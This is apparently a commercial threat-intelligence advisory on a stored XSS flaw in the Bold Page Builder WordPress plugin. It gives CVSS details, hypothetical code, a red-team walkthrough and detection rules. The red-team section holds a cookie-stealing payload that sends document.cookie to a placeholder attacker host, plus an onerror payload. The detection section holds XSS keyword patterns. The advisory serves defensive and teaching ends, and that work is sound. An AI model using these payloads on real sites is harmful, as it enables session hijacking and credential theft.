CVE-2025-7730
Executive Summary
CVE-2025-7730 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.4.5. The flaw resides in the percentage parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Contributor-level privileges can inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used page builder plugin, and the attack surface is broadened by the low privilege requirement (Contributor). The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the risk remains high due to the ease of exploitation and the potential for lateral movement within a WordPress multisite environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not open-source in the traditional sense; it is a commercial product. Therefore, supply chain risk is limited to the plugin’s update mechanism and the trustworthiness of the vendor (Bold). Users should monitor for official patches and consider temporary mitigation measures.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs Contributor-level access.
- User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the combination of low privileges, no user interaction, and stored XSS makes it a significant threat in multi-user WordPress environments.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the percentage parameter of the Bold Page Builder plugin. The plugin likely uses this parameter to display a progress bar or similar visual element. The input is not properly sanitized (e.g., using wp_kses() or esc_attr()) before being stored in the database. When the page is rendered, the unsanitized input is echoed directly into the HTML, allowing an attacker to inject arbitrary JavaScript.
Attack Flow:
- An authenticated user with Contributor-level access creates or edits a page/post using the Bold Page Builder.
- The attacker inserts a malicious payload into the
percentagefield, e.g.,100%<script>alert('XSS')</script>. - The plugin stores this payload in the WordPress
wp_postmetatable. - When any user (including administrators) views the page, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Why Contributor-level? WordPress roles: Contributor can write and edit their own posts but cannot publish them. However, the XSS payload is stored and executed when the page is viewed, even if unpublished (e.g., via preview). This makes it a vector for privilege escalation if an admin views the preview.
Vulnerable vs. Patched Code
Since no official patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:
// Vulnerable code (hypothetical)
echo '<div class="progress-bar" data-percentage="' . $percentage . '">';
The patched version should sanitize the input:
// Patched code (hypothetical)
$percentage = intval($percentage); // or use esc_attr()
echo '<div class="progress-bar" data-percentage="' . esc_attr($percentage) . '">';
Key difference: The patched code uses esc_attr() to escape the output, preventing HTML/JavaScript injection. Alternatively, the plugin could use wp_kses() to allow only safe HTML tags.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Bold Page Builder <= 5.4.5 installed.
- An account with Contributor-level privileges.
Steps:
- Log in as a Contributor.
- Create a new page or edit an existing one.
- Add a Bold Page Builder element that uses the
percentageparameter (e.g., a progress bar). - In the
percentagefield, inject a payload such as:100%<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the page as a draft or publish it (if allowed).
- Wait for an administrator or other user to view the page. The script will execute, sending the victim's cookies to the attacker's server.
Advanced Payload: To bypass potential filters, use event handlers:
100%<img src=x onerror=alert(1)>
Blue Team (Defensive)
Detection:
- Monitor for unusual
percentageparameter values in page builder elements. - Look for patterns like
<script,onerror,onload, orjavascript:in post meta fields. - Use WAF rules to block common XSS payloads in POST requests to
wp-admin/post.php.
Hunting:
- Query the database for suspicious entries:
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%percentage%' AND meta_value REGEXP '<script|<img|onerror|onload'; - Review recent page edits by Contributor-level users.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Host: Unusual JavaScript code in the
wp_postmetatable, specifically in meta keys related to Bold Page Builder (e.g.,_bold_page_builder_data). - Logs:
wp-admin/post.phpPOST requests withpercentageparameter containing HTML/JavaScript. - File: Modified plugin files (though unlikely for stored XSS).
Example IOC in logs:
POST /wp-admin/post.php HTTP/1.1
...
post_title=Test&percentage=100%3Cscript%3Ealert(1)%3C/script%3E
Detection Engineering
YARA Rule
rule CVE_2025_7730_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bold Page Builder percentage parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7730"
strings:
$payload1 = /percentage[^>]*<script/i
$payload2 = /percentage[^>]*onerror/i
$payload3 = /percentage[^>]*onload/i
$payload4 = /percentage[^>]*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-7730 Stored XSS in Bold Page Builder
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS via percentage parameter in Bold Page Builder
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'percentage='
cs-uri-query|contains|any:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in percentage field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7730 Stored XSS in Bold Page Builder"; flow:to_server; content:"POST"; http_method; content:"percentage="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict Contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in the
percentageparameter.
Long-term Fix:
- Vendor Patch: Await an official update from Bold. Monitor their changelog for version 5.4.6 or later.
- Manual Code Fix: If you have access to the plugin source, add input sanitization:
Or use$percentage = intval($_POST['percentage']);esc_attr()when outputting.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for this vulnerability.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.